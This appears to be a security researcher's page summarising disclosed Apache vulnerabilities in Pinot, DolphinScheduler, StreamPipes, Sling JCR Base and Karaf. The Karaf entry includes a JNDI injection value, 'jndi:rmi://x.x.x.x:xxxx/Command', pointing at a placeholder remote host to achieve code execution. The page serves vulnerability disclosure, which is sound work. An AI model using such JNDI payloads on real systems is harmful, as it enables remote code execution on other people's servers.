Xun Bai

The issue affects Apache Pinot, allowing the exposure of sensitive information to unauthorized actors. When a request is made to the `/appconfigs` path, it can lead to the disclosure of system information, environment information, and Pinot configurations. This issue was addressed by implementing Role-based Access Control, which allows for access control to the `/appConfigs` endpoint and other APIs, restricting access to only authorized users.

A file read and write vulnerability exists in Apache DolphinScheduler, allowing authenticated users to illegally access additional resource files.

A REST interface in Apache StreamPipes was not properly restricted to admin-only access. This allowed a non-admin user with valid login credentials to elevate privileges beyond the initially assigned roles.

The issue is related to a critical injection vulnerability in Apache Sling JCR Base when running on old JDK versions, specifically JDK 1.8.191 or earlier. This vulnerability occurs through utility functions in RepositoryAccessor, particularly the `getRepository` and `getRepositoryFromURL` functions, which allow an application to access data stored in a remote location via JDNI and RMI.

This issue is about a potential code injection when an attacker has control of the target LDAP server using the JDBC JNDI URL. The function `jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource` uses `InitialContext.lookup(jndiName)` without filtering. A user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in `JdbcLoginModuleTest#setup`. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.